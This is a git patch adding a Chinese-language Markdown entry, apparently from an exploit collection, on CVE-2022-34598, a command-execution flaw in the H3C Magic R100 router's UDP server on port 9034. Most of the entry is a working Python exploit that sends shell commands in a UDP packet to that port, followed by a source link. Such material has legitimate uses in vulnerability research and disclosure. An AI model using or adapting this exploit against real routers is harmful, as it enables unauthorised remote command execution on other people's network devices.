From 4ebb993d3ad5d323d4d603fd22f76eb8229f2854 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Thu, 11 Apr 2024 11:08:30 +0800
Subject: [PATCH] =?UTF-8?q?Create=20H3C=5Fmagic=5FR100=E8=B7=AF=E7=94=B1?=
 =?UTF-8?q?=E5=99=A8=E7=9A=84UDPserver=E4=B8=AD=E5=AD=98=E5=9C=A8=E5=91=BD?=
 =?UTF-8?q?=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E(CVE-2022-34598).m?=
 =?UTF-8?q?d?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...UDPserver中存在命令执行漏洞(CVE-2022-34598).md | 22 +++++++++++++++++++
 1 file changed, 22 insertions(+)
 create mode 100644 H3C_magic_R100路由器的UDPserver中存在命令执行漏洞(CVE-2022-34598).md

diff --git a/H3C_magic_R100路由器的UDPserver中存在命令执行漏洞(CVE-2022-34598).md b/H3C_magic_R100路由器的UDPserver中存在命令执行漏洞(CVE-2022-34598).md
new file mode 100644
index 0000000..3e5bace
--- /dev/null
+++ b/H3C_magic_R100路由器的UDPserver中存在命令执行漏洞(CVE-2022-34598).md
@@ -0,0 +1,22 @@
+## H3C_magic_R100路由器的UDPserver中存在命令执行漏洞(CVE-2022-34598)
+
+H3C Magic R100 存在安全漏洞，该漏洞源于updserver服务打开了疑似官方后门的9034端口,允许攻击者执行任意命令。
+
+## exp
+```
+import socket
+
+Ip="0.0.0.0"
+Port=9034
+
+msg=b"cat & ls &"
+server_address=(Ip,Port)
+
+udp_socket=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+udp_socket.sendto(msg,server_address)
+
+udp_socket.close()
+```
+
+## 漏洞来源
+- https://the-itach1.github.io/2022/09/05/CVE-2022-34598%20H3C%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/